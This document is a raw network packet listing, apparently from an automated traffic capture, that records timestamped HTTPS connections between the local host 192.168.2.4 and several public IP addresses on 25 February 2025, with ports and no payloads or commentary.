Feb 25, 2025 15:37:11.328072071 CET	49754	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:11.328140020 CET	443	49754	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:11.328449011 CET	49754	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:11.371328115 CET	443	49754	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:11.499144077 CET	443	49754	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:11.499244928 CET	443	49754	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:11.499291897 CET	49754	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:11.500386000 CET	49754	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:11.500406027 CET	443	49754	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:11.524961948 CET	49756	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:11.525019884 CET	443	49756	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:11.525198936 CET	49756	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:11.525588989 CET	49756	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:11.525603056 CET	443	49756	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:12.191976070 CET	443	49756	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:12.192293882 CET	49756	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:12.192323923 CET	443	49756	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:12.196415901 CET	443	49756	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:12.196495056 CET	49756	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:12.196894884 CET	49756	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:12.197067976 CET	49756	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:12.197078943 CET	443	49756	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:12.237976074 CET	49756	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:12.237986088 CET	443	49756	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:12.284818888 CET	49756	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:12.298926115 CET	443	49756	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:12.299174070 CET	443	49756	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:12.299592018 CET	49756	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:12.299807072 CET	49756	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:12.299830914 CET	443	49756	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:12.536071062 CET	443	49739	172.217.16.196	192.168.2.4
Feb 25, 2025 15:37:12.536169052 CET	443	49739	172.217.16.196	192.168.2.4
Feb 25, 2025 15:37:12.536222935 CET	49739	443	192.168.2.4	172.217.16.196
Feb 25, 2025 15:37:14.001671076 CET	49739	443	192.168.2.4	172.217.16.196
Feb 25, 2025 15:37:14.001692057 CET	443	49739	172.217.16.196	192.168.2.4
Feb 25, 2025 15:37:19.259793997 CET	49763	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:19.259836912 CET	443	49763	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:19.259927034 CET	49763	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:19.260754108 CET	49763	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:19.260770082 CET	443	49763	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:19.911263943 CET	443	49763	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:19.911623001 CET	49763	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:19.911638975 CET	443	49763	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:19.912008047 CET	443	49763	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:19.914896011 CET	49763	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:19.915013075 CET	443	49763	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:19.915386915 CET	49763	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:19.959340096 CET	443	49763	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:20.015487909 CET	443	49763	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:20.015877008 CET	443	49763	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:20.015925884 CET	49763	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:20.158149004 CET	49763	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:20.158169031 CET	443	49763	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:20.163036108 CET	49764	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:20.163070917 CET	443	49764	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:20.163139105 CET	49764	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:20.163866997 CET	49764	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:20.163891077 CET	443	49764	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:20.816679001 CET	443	49764	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:20.817054987 CET	49764	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:20.817080021 CET	443	49764	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:20.817445040 CET	443	49764	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:20.817864895 CET	49764	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:20.817954063 CET	443	49764	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:20.818027973 CET	49764	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:20.859333992 CET	443	49764	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:21.011650085 CET	443	49764	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:21.011733055 CET	443	49764	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:21.011794090 CET	49764	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:21.013036966 CET	49764	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:21.013060093 CET	443	49764	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:21.067317009 CET	49765	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.067367077 CET	443	49765	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:21.067435980 CET	49765	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.067665100 CET	49766	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.067701101 CET	443	49766	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:21.067754984 CET	49766	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.068053961 CET	49765	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.068068981 CET	443	49765	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:21.068372011 CET	49766	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.068393946 CET	443	49766	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:21.072573900 CET	49767	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:21.072612047 CET	443	49767	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:21.072680950 CET	49767	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:21.072992086 CET	49767	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:21.073009968 CET	443	49767	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:21.537175894 CET	443	49765	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:21.537241936 CET	443	49766	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:21.537518024 CET	49765	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.537544012 CET	443	49765	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:21.537609100 CET	49766	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.537633896 CET	443	49766	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:21.538625002 CET	443	49765	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:21.538698912 CET	49765	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.538722038 CET	443	49766	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:21.538781881 CET	49766	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.539834023 CET	49765	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.539849997 CET	49765	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.539905071 CET	443	49765	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:21.539916039 CET	49765	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.539959908 CET	49765	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.540313005 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.540357113 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:21.540416956 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.540564060 CET	49766	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.540575981 CET	49766	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.540601969 CET	49766	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.540638924 CET	443	49766	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:21.540684938 CET	49766	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.540798903 CET	49769	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.540838003 CET	443	49769	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:21.540884972 CET	49769	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.541060925 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.541076899 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:21.541201115 CET	49769	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:21.541214943 CET	443	49769	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:21.728918076 CET	443	49767	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:21.729283094 CET	49767	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:21.729299068 CET	443	49767	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:21.729629040 CET	443	49767	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:21.730060101 CET	49767	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:21.730118036 CET	443	49767	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:21.730195045 CET	49767	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:21.775335073 CET	443	49767	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:21.864909887 CET	443	49767	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:21.864933968 CET	443	49767	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:21.864948988 CET	443	49767	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:21.865041018 CET	49767	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:21.865056038 CET	443	49767	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:21.865127087 CET	49767	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:21.945652008 CET	443	49767	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:21.945707083 CET	443	49767	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:21.945730925 CET	443	49767	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:21.945739985 CET	49767	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:21.945785046 CET	49767	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:21.946269035 CET	49767	443	192.168.2.4	52.146.76.30
Feb 25, 2025 15:37:21.946290016 CET	443	49767	52.146.76.30	192.168.2.4
Feb 25, 2025 15:37:22.002886057 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.003240108 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.003251076 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.003366947 CET	443	49769	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.003665924 CET	49769	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.003675938 CET	443	49769	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.004340887 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.004421949 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.004713058 CET	443	49769	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.004775047 CET	49769	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.005485058 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.005558014 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.005609035 CET	49769	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.005673885 CET	443	49769	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.005825043 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.005836010 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.052625895 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.052637100 CET	49769	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.052647114 CET	443	49769	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.099519014 CET	49769	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.364867926 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.364944935 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.364981890 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.365020037 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.365046024 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.365088940 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.365340948 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.365752935 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.365786076 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.365798950 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.365807056 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.365848064 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.365854979 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.369740963 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.369811058 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.369818926 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.414458036 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.452387094 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.452472925 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.452506065 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.452533007 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.452543020 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.452584028 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.452595949 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.452603102 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.452651024 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.452658892 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.452696085 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.452744007 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.452750921 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.453336000 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.453371048 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.453394890 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.453402996 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.453440905 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.453444004 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.453458071 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.453509092 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.453516960 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.454262972 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.454299927 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.454310894 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.454318047 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.454360962 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.454366922 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.454374075 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.454418898 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.454425097 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.455164909 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.455204964 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.455212116 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.455224991 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.455260038 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.455266953 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.509819984 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.539391994 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.539460897 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.539494991 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.539511919 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.539525986 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.539561033 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.539570093 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.540059090 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.540067911 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.540102959 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.540108919 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.540116072 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.540147066 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.540154934 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.540186882 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.540218115 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.540262938 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.540821075 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.540857077 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.540864944 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.540873051 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.540896893 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.541004896 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.541044950 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.541052103 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.541089058 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.541538954 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.541588068 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.541693926 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.541738033 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.541805983 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.541851044 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.542489052 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.542531967 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.542659998 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.542710066 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.542773962 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.542819023 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.543503046 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.543543100 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.543549061 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.543555021 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.543581963 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.543605089 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.626828909 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.626888990 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.626925945 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.626960993 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.626986980 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.627037048 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.627085924 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.627126932 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.627134085 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.627155066 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.627171993 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.627178907 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.627203941 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.627285957 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.627330065 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.627336979 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.627373934 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.627405882 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.627448082 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.627583981 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.627619982 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.627629995 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.627635002 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.627659082 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.628051043 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.628093004 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.628104925 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.628144026 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.628146887 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.628160000 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.628185034 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.628314018 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.628349066 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.628359079 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.628365993 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.628393888 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.628514051 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.628560066 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.628566980 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.628623009 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.628997087 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.629043102 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.629070997 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.629113913 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.629201889 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.629236937 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.629276037 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.629283905 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.629324913 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.629396915 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.629441977 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.629448891 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.629482985 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.629488945 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.629534960 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.629574060 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.664295912 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.703032970 CET	49768	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:22.703043938 CET	443	49768	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:22.727617025 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:22.727657080 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:22.727729082 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:22.727943897 CET	49771	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:22.727952003 CET	443	49771	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:22.727998972 CET	49771	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:22.728368044 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:22.728419065 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:22.728482962 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:22.728483915 CET	49771	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:22.728497982 CET	443	49771	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:22.728637934 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:22.728650093 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:22.728777885 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:22.728790045 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.189035892 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.189286947 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.189296007 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.190352917 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.190413952 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.191750050 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.193617105 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.193696022 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.194070101 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:23.194088936 CET	443	49772	151.101.66.137	192.168.2.4
